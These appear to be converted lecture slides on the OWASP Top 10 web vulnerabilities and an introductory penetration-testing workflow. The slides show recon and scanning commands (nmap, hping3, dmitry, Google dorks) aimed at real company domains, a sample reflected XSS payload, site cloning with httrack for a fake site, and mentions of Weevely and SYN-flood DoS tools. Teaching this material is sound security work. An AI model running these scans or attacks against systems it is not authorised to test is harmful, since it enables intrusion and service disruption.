See: [www.owasp.org/index.php/XSS\\_\(Cross\\_Site\\_Scripting\)\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)<sup>17</sup>

# A4 – Insecure Direct Object References

Bank of America | Online Banking | Account Summary | Checking - Microsoft Internet Explorer

Address: **https://www.onlinebank.com/user?acct=6065**

Bank of America Higher Standards

New mail • New e-bills • Search • Locations • Mail • Help • Sign Off

Accounts | Bill Pay & e-Bills | Transfer Funds | Investments | Customer Service

Accounts Overview | Account Activity | **Account Summary** | Find a Transaction | Open an Account

### Account Summary

**Customer Service**

- [Stop Check Payment](#)
- [Reorder Checks](#)
- [Monitor Your Credit Report](#)
- [Add/Edit Account Nickname](#)
- [View/Print Paper Statement](#)
- [Stop/Resume Mailing Paper Statements \(New\)](#)
- [Stop sending canceled checks](#)
- [Update Your E-mail Address](#)
- [Update Your Street Address and/or Phone Number](#)
- [Manage Alerts](#)
- [More Services](#)

**Regular Checking - 6066**

Account: Regular Checking - 6066

**Current Information as of 08/25/2005**

Account Number:	<a href="#">[Show Account Number]</a>
Ending Balance as of 08/24/2005:	\$38,630.81
Available Balance:	\$38,480.81

**Current Summary**

Beginning balance as of 08/19/2005:	\$38,630.81
Total credits:	+\$0.00
Total debits:	-\$0.00
Ending balance as of 08/24/2005:	\$38,630.81
Last Transaction Date:	08/09/2005
Last Printed Statement Date:	08/18/2005

**Deposit Information**

Last Deposit Date:	08/09/2005
Last Deposit Amount:	\$185.97

- **Attacker notices his acct parameter is 6065  
?acct=6065**
- **He modifies it to a nearby number  
?acct=6066**
- **Attacker views the victim's account information**

# A4 – Avoiding Insecure Direct Object References

- **Eliminate the direct object reference**
  - Replace them with a temporary mapping value (e.g. 1, 2, 3)
  - ESAPI provides support for numeric & random mappings
    - **IntegerAccessReferenceMap & RandomAccessReferenceMap**

<http://app?file=Report123.xls>

<http://app?file=1>

<http://app?id=9182374>

<http://app?id=7d3J93>




Report123.xls

Acct:9182374

- **Validate the direct object reference**
  - Verify the parameter value is properly formatted
  - Verify the user is allowed to access the target object
    - Query constraints work great!
  - Verify the requested mode of access is allowed to the target object (e.g., read, write, delete)

# A5: Security Misconfiguration





# A6 – Sensitive Data Exposure

## Storing and transmitting sensitive data insecurely

- **Failure to identify all sensitive data**
- **Failure to identify all the places that this sensitive data gets stored**
  - **Databases, files, directories, log files, backups, etc.**
- **Failure to identify all the places that this sensitive data is sent**
  - **On the web, to backend databases, to business partners, internal communications**
- **Failure to properly protect this data in every location**

## Typical Impact



- **Attackers access or modify confidential or private information**
  - **e.g, credit cards, health care records, financial data (yours or your customers)**
- **Attackers extract secrets to use in additional attacks**
- **Company embarrassment, customer dissatisfaction, and loss of trust**
- **Expense of cleaning up the incident, such as forensics, sending apology letters, reissuing thousands of credit cards, providing identity theft insurance**
- **Business gets sued and/or fined**

# Insecure Cryptographic Storage



1

Victim enters credit card number in form




2

Error handler logs CC details because merchant gateway is unavailable

3

Logs are accessible to all members of IT staff for debugging purposes



4

Malicious insider steals 4 million credit card numbers



# Security misconfiguration



## An Error Has Occurred

### Summary:

The number of columns in the two selected tables or queries of a union query do not match.

### Error Message:

```
System.Data.OleDb.OleDbException: The number of columns in the two selected tables or queries of a union query do not match. at System.Data.OleDb.OleDbCommand.ExecuteNonQueryErrorHandling(OleDbHResult hr) at System.Data.OleDb.OleDbCommand.ExecuteNonQueryForSingleResult(tagDBPARAMS dbParams, Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteNonQuery(Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteNonQuery(CommandBehavior behavior, Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method) at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.OleDb.OleDbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet
```

# A7: Missing Function Level Access Control

The screenshot shows a web browser window titled "Online Banking | Account Summary | Checking - Microsoft Internet Explorer". The address bar contains the URL `https://www.onlinebank.com/user/getAccounts`. The page content includes a welcome message for "Teodora", a "Cash Maximizer" advertisement, and a "Your Accounts" section listing "Checking-6534" and "Checking-6515". The main area displays a bar chart for "Income and Expenses from Sep 26, 2004 to Jan 16, 2005" for account "Checking-6534". Below the chart is a table of transactions with columns for Date, Description, Category, and Amount.

Date	Description	Category	Amount
Nov 22, 2004	Interest Payment	Interest	\$.25
Nov 22, 2004	ATM Withdrawal, myBank, San Rafael, CA	Cash	\$100.00
Nov 19, 2004	ATM Withdrawal, myBank, San Francisco, CA	Cash	\$100.00
Nov 16, 2004	SBC Phone Bill Payment	Phone	\$94.23
Nov 16, 2004	myBank Credit Card Bill Payment	Credit Card	\$2,853.57
Nov 15, 2004	ATM Withdrawal, myBank, San Rafael, CA	Cash	\$100.00
Nov 15, 2004	myBank Payroll	Payroll	\$4,373.79
Nov 10, 2004	ATM Withdrawal, myBank, San Francisco, CA	Cash	\$100.00
Nov 4, 2004	ATM Withdrawal, myBank, San Francisco, CA	Cash	\$100.00
Nov 3, 2004	myBank Credit Card Bill Payment	Credit Card	\$10.00
Nov 1, 2004	Working Assets Bill Payment	Phone	\$13.57
Nov 1, 2004	Prudential Insurance Bill Payment	Insurance	\$435.00
Nov 1, 2004	Chase Manhattan Mortgage Corp Bill Payment	Mortgage	\$2,184.42
Oct 29, 2004	ATM Withdrawal, myBank, San Francisco, CA	Cash	\$100.00
Oct 29, 2004	myBank Payroll	Payroll	\$4,338.96

- Attacker notices the URL indicates his role `/user/getAccounts`
- He modifies it to another directory (role) `/admin/getAccounts`, or `/manager/getAccounts`
- Attacker views more accounts than just their own

# A8 – Cross Site Request Forgery (CSRF)

## Cross Site Request Forgery

- An attack where the victim's browser is tricked into issuing a command to a vulnerable web application
- Vulnerability is caused by browsers automatically including user authentication data (session ID, IP address, Windows domain credentials, ...) with each request

## Imagine...

- What if a hacker could steer your mouse and get you to click on links in your online banking application?
- What could they make you do?

## Typical Impact

- Initiate transactions (transfer funds, logout user, close account)
- Access sensitive data
- Change account details

# CSRF Vulnerability Pattern

## The Problem

Web browsers automatically include most credentials with each request  
Even for requests caused by a form, script, or image on another site

All sites relying solely on automatic  
credentials are vulnerable!

(almost all sites are this way)

## Automatically Provided Credentials

Session cookie

Basic authentication header


IP address

Client side SSL certificates


Windows domain authentication

1

Attacker sets the trap on some website on the internet (or simply via an e-mail)




Application with CSRF vulnerability



2


While logged into vulnerable site, victim views attacker site



3


Vulnerable site sees legitimate request from victim and performs the action requested

# USER AGENT





# SEARCH ENGINE



# A8 – Avoiding CSRF Flaws

**Add a secret, not automatically submitted, token to ALL sensitive requests**

**This makes it impossible for the attacker to spoof the request**

**(unless there's an XSS hole in your application)**

**Tokens should be cryptographically strong or random**

## **Options**

**Store a single token in the session and add it to all forms and links**

**Hidden Field: `<input name="token" value="687965fdfaew87agrde" type="hidden"/>`**

**Single use URL: `/accounts/687965fdfaew87agrde`**

**Form Token: `/accounts?auth=687965fdfaew87agrde ...`**

**Beware exposing the token in a referer header**

**Hidden fields are recommended**

**Can have a unique token for each function**

**Use a hash of function name, session id, and a secret**

**Can require secondary authentication for sensitive functions (e.g., eTrade)**

**Don't allow attackers to store attacks on your site**

**Properly encode all input on the way out**

**This renders all links/requests inert in most interpreters**

**See the: [www.owasp.org/index.php/CSRF\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet) for more details**

# A9 – Using Known Vulnerable Components

**Output from the Maven Versions Plugin – Automated Analysis of Libraries' Status against Central repository**

## Dependencies

Status	Group Id	Artifact Id	Current Version	Scope	Classifier	Type	Next Version	Next Incremental	Next Minor	Next Major
⚠	com.fasterxml.jackson.core	jackson-annotations	2.0.4	compile		jar		2.0.5	2.1.0	
⚠	com.fasterxml.jackson.core	jackson-core	2.0.4	compile		jar		2.0.5	2.1.0	
⚠	com.fasterxml.jackson.core	jackson-databind	2.0.4	compile		jar		2.0.5	2.1.0	
⚠	com.google.guava	guava	11.0	compile		jar		11.0.1	12.0-rc1	12.0
⚠	com.ibm.icu	icu4j	49.1	compile		jar				50.1
⚠	com.theoryinpractise	halbuilder	1.0.4	compile		jar		1.0.5		
⚠	commons-codec	commons-codec	1.3	compile		jar			1.4	
✅	commons-logging	commons-logging	1.1.1	compile		jar				
⚠	joda-time	joda-time	2.0	compile		jar			2.1	
⚠	net.sf.ehcache	ehcache-core	2.5.1	compile		jar		2.5.2	2.6.0	
⚠	org.apache.httpcomponents	httpclient	4.1.2	compile		jar		4.1.3	4.2	
⚠	org.apache.httpcomponents	httpclient-cache	4.1.2	compile		jar		4.1.3	4.2	
⚠	org.apache.httpcomponents	httpcore	4.1.2	compile		jar		4.1.3	4.2	
⚠	org.jdom	jdom	1.1	compile		jar		1.1.2		2.0.0
✅	org.slf4j	slf4j-api	1.7.2	provided		jar				

**Most out of Date!**

**Details Developer Needs**

# A10 – Unvalidated Redirects and Forwards


1 Attacker sends attack to victim via email or webpage



From: Internal Revenue Service  
Subject: Your Unclaimed Tax Refund  
Our records show you have an unclaimed federal tax refund. Please click here to initiate your claim.




2 Victim clicks link containing unvalidated parameter



Request sent to vulnerable site, including attacker's destination site as parameter. Redirect sends victim to attacker site

3




4



<http://www.irs.gov/taxrefund/claim.jsp?year=2006&...&dest=www.evilsite.com>

# EMAIL ROUTE



*Multipart E-mail* ↘

```
Content-Type: multipart/mixed;  
boundary=="_004_D08159981E4D0_"  
MIME-Version: 1.0  
--_004_D08159981E4D0_
```

*Message*

```
Content-Type: text/plain; charset="us-ascii"  
  
<html>  
<head>  
<meta http-equiv="Content-Type" content="text/html;  
  charset=us-ascii">  
</head>  
<body>  
this is the message body  
</body>  
</html>
```

```
--_004_D08159981E4D0_
```

*Attachment*


```
Content-Type: text/plain; name="email_attachment.txt"  
Content-Disposition: attachment; ↘ Name of Attached File  
  filename="email_attachment.txt";  
  size=95; creation-date="Fri, 07 Nov 2014 00:58:36 GMT";  
  modification-date="Fri, 07 Nov 2014 00:58:36 GMT"  
Content-Transfer-Encoding: base64  
  
VGhpcyBpcyBhIHRleHQgYXROYWNoZWVudCBmaWxlIQ==
```

```
--_004_D08159981E4D0_--
```

# Unvalidated Forward

1

Attacker sends attack to vulnerable page they have access to



Request sent to vulnerable page which user does have access to. Redirect sends user directly to private page, bypassing access control.

2

Application authorizes request, which continues to vulnerable page

Filter

```
public void doPost( HttpServletRequest request,
    HttpServletResponse response) {
    try {
        String target = request.getParameter( "dest" );
        ...

        request.getRequestDispatcher( target ).forward( req
            uest, response);
    }
    catch ( ...
```

3

Forwarding page fails to validate parameter, sending attacker to unauthorized page, bypassing access control

```
public void
sensitiveMethod( HttpServletRequest
request, HttpServletResponse
response) {
    try {
        // Do sensitive stuff here.
        ...
    }
    catch ( ...
```

# Roadmap

<https://tinyurl.com/y9be6ynf>

- Ethical Hacking
- Threat Modeling
- Static Analysis
  - SEI CERT Coding Standards
- Dynamic Analysis
  - OWASP Top 10
- **Ethical Hacking Steps**









HACK YOURSELF FIRST!

# Phases of hacking



# Ethical hacking steps



# Penn testing demo

The screenshot shows the Pentest-Tools.com website. The browser address bar displays <https://pentest-tools.com/information-gathering/google-hacking>. The website header includes the logo, the name "Pentest-Tools.com", a "40 Credits" badge, and the user's IP address "My IP: 158.228.48.1". A "Get Cred" button is visible in the top right corner. A "My Scans" dropdown menu is located below the header. The left sidebar contains a navigation menu with categories: "Information Gathering" (expanded), "Web Application Testing", and "Infrastructure Testing". Under "Information Gathering", the following tools are listed: "Google Hacking" (selected), "Find Subdomains", "Find VHosts", "ICMP Ping", and "Whois Lookup". The main content area is titled "Google Hacking" and shows "0 Credits" and a "Free" badge. A "Target domain" input field contains "yourcompany.com". Below the input field, a list of search queries is displayed:

- Q Directory listing vulnerabilities
- Q Configuration files exposed
- Q Database files exposed
- Q Log files exposed
- Q Backup and old files
- Q Login pages
- Q SQL errors
- Q Publicly exposed documents
- Q phpinfo()

<https://pentest-tools.com/home>

# Penn Testing



**KALI LINUX**<sup>TM</sup>

"the quieter you become, the more you are able to hear"

Favorites

01 - Information Gathering ▶

02 - Vulnerability Analysis ▶

03 - Web Application Analysis ▶

04 - Database Assessment

05 - Password Attacks ▶

06 - Wireless Attacks ▶

07 - Reverse Engineering

08 - Exploitation Tools

09 - Sniffing & Spoofing ▶

10 - Post Exploitation ▶

11 - Forensics ▶

12 - Reporting Tools

13 - Social Engineering Tools

14 - System Services ▶

Usual applications ▶



Files



metasploit ...



armitage



burpsuite



maltego



beef xss fr...




faraday IDE



Leafpad



Tweak Tool





## Domain Tools

### DNSreport

Do I have DNS problems?

### WHOIS/IPWHOIS Lookup

Get contact info for a domain/ip

### WWW

What we

### Top Level Domain (TLD) Lookup

How can I find out if a domain is available?

### SSL Examination

How do I get SSL configuration details on a host?

### Abuse

How do I



# How to extract public Documents? - Metadata

- `apt-get install metagoofil`
- `metagoofil -d microsoft.com -t doc -o temp -f microsoft.html`

File Edit View Search Terminal Help

```
* cmartorella_at_edge-security.com *  
root@kali:~# metagoofil -d microsoft.com -t doc -o temp -f microsoft.html
```

```
*****  
n: metagoofil: command not found
```

```
['doc'] ~# metagoofil -d microsoft.com -t doc -o temp -f microsoft.html
```

```
n: metagoofil: command not found
```

```
[-] Starting online search...
```

```
root@kali:~# clear
```

```
root@kali:~#
```

```
root@kali:~# metagoofil -d microsoft.com -t doc -o temp -f microsoft.html
```

```
*****
```



```
* Metagoofil Ver 2.2 *  
* Christian Martorella *  
* Edge-Security.com *  
* cmartorella_at_edge-security.com *  
*****
```

```
['doc']
```

```
[-] Starting online search...
```

# How to find IP Address Owner: whois

- apt-get install whois
- whois [www.netflix.com](http://www.netflix.com)

# How to locate new targets: DNS Reconnaissance

- `fierce -dns www.netflix.com`

# Deepmagic Information Gathering Tool (Dmitry)

- Perform an Internet Number whois lookup.
- Retrieve possible uptime data, system and server data.
- Perform a SubDomain search on a target host.
- Perform an E-Mail address search on a target host.
- Perform a TCP Portscan on the host target.
- A Modular program allowing user specified modules

# How to find email addresses, ports, subdomain search?

- apt-get install dmitry
- dmitry -winsepfbo [netflix.com](https://netflix.com)

# Info Gathering: Discover Scripts

- git clone <https://github.com/leeбайд/discover.git>
- [infosecblog.org](http://infosecblog.org)

Web-based reconnaissance and  
information gathering  
Recon-ng



# Recon-ng

- apt-get install recon-ng
- recon-ng
- ls
- workspaces add mywebsite
- add domains [bankofamerica.com](http://bankofamerica.com)
- load bing\_domain\_web
- run
- show hosts
- query select \* from hosts
- load hosts-hosts/resolve

# Gather Contacts Info

- Get Email addresses and Hosts
- theHarvester
- apt-get install theharvester

# Information gathering

- Web
  - Website visits
  - Google Dorks: Smart search filters
  - Web Tools

# Google Hacking Database: Google Dorks

Operator	Syntax
cache	<b>cache:</b> <i>URL [string]</i>
filetype	<b>filetype:</b> <i>[type]</i>
info	<b>info:</b> <i>[string]</i>
intitle	<b>intitle:</b> <i>[string]</i>
inurl	<b>inurl:</b> <i>[string]</i>
site	<b>site:</b> <i>[domain/Website][string]</i>

# Google Dorks



filetype:pdf site:www.bankofamerica.com



All

Images

News

Shopping

Maps

More

Settings

Tools

2 results (0.52 seconds)

[PDF] [Entity \(1\) - Bank of America](#)

[www.bankofamerica.com/ukcompanies](http://www.bankofamerica.com/ukcompanies) ▼

[Bank of America | Accessible Banking | ATMs & Banking Centers](#)

<https://www.bankofamerica.com/.../atm-banking-centers.go> ▼

Embracing the principles of the Americans with Disabilities Act (ADA), Bank of America is committed to providing equal banking center access to all our customers. ... You have full access to your Bank of America accounts at any of our thousands of banking centers nationwide.

*In order to show you the most relevant results, we have omitted some entries very similar to the 2 already displayed.*

*If you like, you can [repeat the search with the omitted results included](#).*

---



site:www.bankofamerica.com intitle:login



All

News

Shopping

Images

More

Settings

Tools

3 results (0.34 seconds)

### Works - Login

<https://www.bankofamerica.com/vanity/redirect.go?src=/worksonline> ▼

The Works application is a Web-based, user-friendly electronic card payment management service that automates, streamlines, and integrates existing payment ...

### Login

<https://www.bankofamerica.com/vanity/redirect.go?src=/PINCHECK> ▼

Password: Forgot your Password? Privacy & Security Recommended Settings. © 2016 Bank of America Corporation. All rights reserved. General Disclaimer.

### BankAmericard® Better Balance Rewards™ | Login - FIA Card Services

<https://www.bankofamerica.com/vanity/redirect.go?src=/...> ▼

Get rewarded up to \$100 a year. Each month, pay more than the minimum amount due; Make your monthly payments on time; Get an automatic \$25 reward at ...

*In order to show you the most relevant results, we have omitted some entries very similar to the 3 already displayed.*

*If you like, you can [repeat the search with the omitted results included](#).*



site:pastebin.com www.sdklsfjk.com



[All](#)

[Videos](#)

[News](#)

[Images](#)

[Shopping](#)

[More](#)

[Settings](#)

[Tools](#)

Your search - **site:pastebin.com www.sdklsfjk.com** - did not match any documents.

Suggestions:

- Make sure all words are spelled correctly.
- Try different keywords.
- Try more general keywords.
- Try fewer keywords.



# Google Hacking Database (GHDB)

Search the Google Hacking Database or browse GHDB categories

Any Category

Search

SEARCH

Date	Title	Category
2016-11-29	"PHP Mailer" "priv8 Mailer" ext:php	Footholds
2016-11-29	inurl:".esy.es/default.php"	Sensitive Directories
2016-11-29	"PHP Credits" "Configuration" "PHP Core" ext:php inurl:info	Web Server Detection
2016-11-29	Hostinger © 2016. All rights reserved inurl:default.php	Sensitive Directories



# Other Techniques

- Geographical location
- Parent Company / Acquisition
- Language & culture
- Cached Contents
- Yellow Pages
- Social Network
- Visit Client premises


# External Penn Testing

- Traceroute
- nmap -v --traceroute [www.infosecblog.org](http://www.infosecblog.org)

# Live Host discovery (PING)

- ping
  - ping [www.infosecblog.org](http://www.infosecblog.org) -c 3
  - ping netflix.com -c 3 — issue with timeout due to firewall
- Hping3
  - hping3 -S netflix.com -p 80 -c 3
- nmap
  - nmap -T4 -sn [netflix.com](http://netflix.com) -v

# Port scanning



**NMAP**

# NMap

- `nmap -T4 -v -PN -n -sS -top-port 100 --max-parallelism 10 -oA nmapSYN www.infosecblog.org`
- `nmap -T4 -v -PN -n -sA -top-port 100 --max-parallelism 10 -oA nmapSYN www.infosecblog.org`
- `nmap -T5 -PN -v -oA nmapComplete www.infosecblog.org`

# Application Penetration Testing

- Reconnaissance
- Application firewall scanning
- Load balancing
- Web crawling
- Application analysis
- Scan for any content management
- SQL Injection, Cross Site Scripting
- Maintain access
- Denial Of Service (DOS) attack

# Web Application Firewall (WAF)

- Attack need to bypass the firewall

# Firewall identification: wafw00f

- No Firewall
- wafw00f <https://www.ibm.com/>
- Firewall:
  - wafw00f <https://www.netflix.com>



# Load Balancing test

- lbd [www.netflix.com](http://www.netflix.com)
- lbd <http://www.itsecgames.com/>

# Web Crawling: What do we find?

- Admin portals
- Configuration files
- Where are backups?
- Administration code
- Can find confidential information
- Source code analysis

# Kali Crawlers

- Burp suite
- Dirbuster
- OWASP-ZAP
- Webscarab
- Vega
- Webslayer

# Exercise

1. Import hhjwa-2016.1-vbox-amd64.ova appliance into VirtualBox
2. Start Wordy Ninja (<https://github.com/cjudd/wordyninjablog>)  

```
cd ~/workspaces/wordyninjablog  
git fetch  
git checkout a74b32f ./gradlew run
```
3. Open Iceweasel browser and navigate to <http://localhost:8080> or from host <http://localhost:8081>
4. Login as admin/admin1234
5. Add Post

# OWASP ZAP

The screenshot displays the OWASP ZAP 2.4.3 interface. The title bar reads "Untitled Session - 20171004-141308 - OWASP ZAP 2.4.3". The menu bar includes "File", "Edit", "View", "Analyse", "Report", "Tools", "Online", and "Help". The toolbar shows "Standard Mode" and various icons for file operations and scanning. The main window is titled "Quick Start" and contains the following text:

Please be aware that you should only attack applications that you have been specifically given permission to test. To quickly test an application, enter its URL below and press 'Attack'.

URL to attack:

Progress: Attack complete - see the Alerts tab for details of any issues found

For a more in depth test you should explore your application using your browser or automated regression tests while if you are using Firefox 24.0 or later you can use 'Plug-n-Hack' to configure your browser:

Configure your browser:

Or point your browser at:

The left sidebar shows a tree view with "Contexts" (Default Context) and "Sites". The bottom toolbar includes "History", "Search", "Alerts", "Output", "Spider", and "Active Scan". The bottom panel shows a list of alerts:

- Alerts (5)
  - Cross Site Scripting (Reflected) (2)
  - SQL Injection - MySQL
  - Format String Error
  - Cross-Domain JavaScript Source File Inclusion (12)
  - Password Autocomplete in browser (3)

The bottom right panel contains the following text:

Full details of any selected alert will be displayed here.

You can manually add alerts by right clicking on the relevant line in the history and selecting 'Add alert'.

You can also edit existing alerts by double clicking on them.

# Active Scan

Untitled Session - 20171004-141308 - OWASP ZAP 2.4.3

File Edit View Analyse Report Tools Online Help

Standard Mode

Sites + Quick Start Request Response +

Header: Text Body: Text

Contexts

- Default Context
- Sites
  - http://localhost:8080
    - GET:robots.txt
    - GET:sitemap.xml
    - GET:login
    - GET:index.php
    - css
      - POST:search(searchTerm)
      - GET:signup
      - GET:results(searchTerm)
      - POST:signup(firstName,lastName,password,username)**
      - POST:login(password,username)
      - GET:login(error)

```
POST http://localhost:8080/signup HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Referer: http://localhost:8080/signup
Host: localhost:8080
```

username-ZAP&password-ZAP&firstName-ZAP&lastName-ZAP

History Search Alerts Output Spider Active Scan +

Alerts (5)

- Cross Site Scripting (Reflected) (2)
- SQL Injection - MySQL
- Format String Error
- Cross-Domain JavaScript Source File Inclusion (12)
- Password Autocomplete in browser (3)

Full details of any selected alert will be displayed here.

You can manually add alerts by right clicking on the relevant line in the history and selecting 'Add alert'.

You can also edit existing alerts by double clicking on them.

## Session Properties

### ▼ Session

#### General

Exclude from proxy

Exclude from scanner

Exclude from spider

### ▼ Contexts

#### ▼ 1

1: Include in context

1: Exclude from conte

1: Structure

1: Technology

1: Authentication

1: Users

1: Forced User

1: Session Managemen

Monitor Clients

Exclude from WebSockets

### 1: Authentication

This panel allows you to configure the authentication scheme used for this Context.

Currently selected Authentication method for the Context:

Form-based Authentication

### Configure Authentication Method

Login Form Target URL \*:

http://localhost:8080/login

Select...

Login Request POST Data (if any):

username=ZAP&password=ZAP

Username Parameter \*:

username

Password Parameter \*:

password

The *username* and *password* fields will be replaced, during authentication, with the username and password corresponding to application's users.

Regex pattern identified in Logged In response messages:

Logout

Regex pattern identified in Logged Out response messages:

Log In

OK

Cancel

# Active scan

The screenshot displays the OWASP ZAP 2.4.3 interface during an active scan. The top window shows the 'Response' tab for a request to `http://localhost:8080/index.php`. The response headers include `Server: Apache-Coyote/1.1`, `X-Content-Type-Options: nosniff`, `X-XSS-Protection: 1; mode=block`, `Cache-Control: no-cache, no-store, max-age=0, must-revalidate`, `Pragma: no-cache`, `Expires: 0`, and `X-Frame-Options: DENY`. The response body contains HTML code with a reflected error message: `<div class='page-header'> Errors!!! </div>`. Below this, a `<pre>` block shows a database error: `org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select * from post where title like '%<script>alert(1);</script>%']; nested exception is`.

The bottom window shows the 'Alerts' tab, listing the detected vulnerability: **Cross Site Scripting (Reflected)**. The details for this alert are as follows:

- URL:** `http://localhost:8080/results?searchTerm=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E`
- Risk:** High
- Confidence:** Low
- Parameter:** `searchTerm`
- Attack:** `"<script>alert(1);</script>"`
- Evidence:** `"<script>alert(1);</script>"`
- CWE D:** 79
- WASC D:** 8
- Description:** Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's



# Heap dump

The screenshot displays the OWASP ZAP 2.4.3 interface. The top window title is "Untitled Session - 20171004-141308 - OWASP ZAP 2.4.3". The main area shows the "Response" tab for a GET request to `http://localhost:8080/index.php`. The response headers include `HTTP/1.1 200 OK`, `Server: Apache-Coyote/1.1`, `X-Content-Type-Options: nosniff`, `X-XSS-Protection: 1; mode=block`, `Cache-Control: no-cache, no-store, max-age=0, must-revalidate`, `Pragma: no-cache`, `Expires: 0`, and `X-Frame-Options: DENY`. The response body contains HTML code with a JavaScript alert triggered by a SQL injection payload: `<script>alert(1);</script>`. The alert message is: `org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select * from post where title like '%<script>alert(1);</script>%']; nested exception is`.

The bottom panel shows the "Alerts (5)" list with the following details for the selected alert:

- Alerts (5)**
  - Cross Site Scripting (Reflected) (2)**
    - GET: http://localhost:8080/results?searchTerm=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E**
    - POST: http://localhost:8080/search
  - SQL Injection - MySQL**
    - GET: http://localhost:8080/results?searchTerm=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
  - Format String Error**
    - POST: http://localhost:8080/search
  - Cross-Domain Java Script Source File Inclusion (12)**

**Cross Site Scripting (Reflected)**

- URL: `http://localhost:8080/results?searchTerm=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E`
- Risk: High
- Confidence: Low
- Parameter: `searchTerm`
- Attack: `"<script>alert(1);</script>"`
- Evidence: `"<script>alert(1);</script>"`
- CWE D: 79
- WASC D: 8
- Description:

# Heap lab

- Login with different users
- admin/admin1234
- blogger1/blogger1
- blogger2/blogger2

https://securityheaders.io/


← → ↻ Secure | <https://securityheaders.io/?q=www.cnn.com&followRedirects=on> ☆

securityheaders.io Home About  
Sponsored by **okta**

# Scan your site now

Hide results  Follow redirects


## Security Report Summary

	<b>Site:</b>	<a href="http://www.cnn.com/">http://www.cnn.com/</a> - <a href="#">[Scan again over https]</a>
	<b>IP Address:</b>	2a04:4e42::323
	<b>Report Time:</b>	04 Oct 2017 18:55:38 UTC
	<b>Report Short URL:</b>	<a href="https://schr.io/FU">https://schr.io/FU</a>
	<b>Headers:</b>	<input checked="" type="checkbox"/> Content-Security-Policy <input checked="" type="checkbox"/> X-Content-Type-Options <input checked="" type="checkbox"/> X-XSS-Protection <input checked="" type="checkbox"/> X-Frame-Options <input checked="" type="checkbox"/> Referrer-Policy
	<b>Warning:</b>	Grade capped at A, please see warnings below.

## Raw Headers

# Burp Suite

- Configure Proxy
- Run Spider
- Discover Content
- Run Scanner



# Burp Proxy



Listening to  
port  
8181(Burp  
Suite)



Proxy  
(BURP SUITE)  
Installed on Port  
8181 listening to  
port 8080



HTTP Server (Web Server)

Port 8080

## Burp Suite Free Edition v1.7.03 - Temporary Project

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts

Intercept HTTP history WebSockets history Options

### ? Proxy Listeners

⚙ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.

Add	Running	Interface	Invisible	Redirect	Certificate
Edit	<input checked="" type="checkbox"/>	127.0.0.1:9090	<input type="checkbox"/>		Per-host
Remove					

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another installation of Burp.

Import / export CA certificate

Regenerate CA certificate



# Add-ons

EXTENSIONS THEMES COLLECTIONS MORE...

search for add-ons

## Meet the FoxyProxy Standard Developer

### Enjoy this add-on?

Before downloading this add-on, please consider supporting the development of this add-on by making a small contribution.

Contribute

\$9.99 suggested

or

Add to Firefox



FoxyProxy Standard

by [Eric H. Jung](#) and others

### Why was FoxyProxy Standard created?

Tiring of slow proxies servers, I wrote this add-on with the idea that it should be easy to route blocked pages through slow proxy servers while still maximizing use of your (normal) fast connection. FoxyProxy has since evolved way beyond that to a generalized proxy tool.

### What's next for FoxyProxy Standard

Some features coming soon:

- \* Random and round-robin proxy switching
- \* Lots of other stuff being discussed at <http://forums.getfoxyproxy.org> -- submit your idea there!

# FoxyProxy Standard



File Help

Select Mode:

Completely disable FoxyProxy



Proxies



Proxy Subscriptions



Pattern Subscriptions



Global Settings



QuickAdd



Logging

Enabled

Color

Proxy Name

Proxy Notes



✓

BurpProxy

✓

Default

These are the settings that ...

Move Up

Move Down

Add New Proxy

Edit Selection

Copy Selection

Delete Selection

Please Donate

Get FoxyProxy Plus


Buy Proxy Service

FoxyProxy for Chrome

Close



## FoxyProxy Standard - Proxy Settings

-  General
-  **Proxy Details**
-  URL Patterns

Direct internet connection (no proxy)

Manual Proxy Configuration

[Help! Where are settings for HTTP, SSL, FTP, Gopher, and SOCKS?](#)

Host or IP Address  Port

SOCKS proxy?  SOCKS v4/4a  SOCKS v5

### Authentication

Username  Password  Password - again

Domain (optional - NTLM only)


Use System Proxy Settings

# How to copy Application- Fake Site

- `apt-get install httrack`
- `httrack http://www.google.com/ -O /tmp/google -v`

<https://www.httrack.com/>


# SSL



# SSL Scan

- sslscan [www.netflix.com](http://www.netflix.com)

# Heartbleed attack



# Sensitive info for Jon Smith!

Evil  
user

Are you there?  
The magic word is  
"giraffe," which is 100  
characters long.


Yes I'm here.  
Your magic word was  
"giraffe1^v6%\$John Smith:645-  
43-5324:07/19/1982:jsmith:  
Secr3tPassw0rd:202-563-1234  
:smith@email.com\$."

Server

# Accessing telnet session


- Weevely
  - File browsing
  - File transering
  - Auditing
  - SQL server
  - Commands on remote systems

# DoS






# TCP Three-way Handshake



# SYN Flood Attack




Additional TCBS remain in backlog



Backlog full – no room for additional TCBS


# Distributed SYN Flood




# DOS attack: hping3

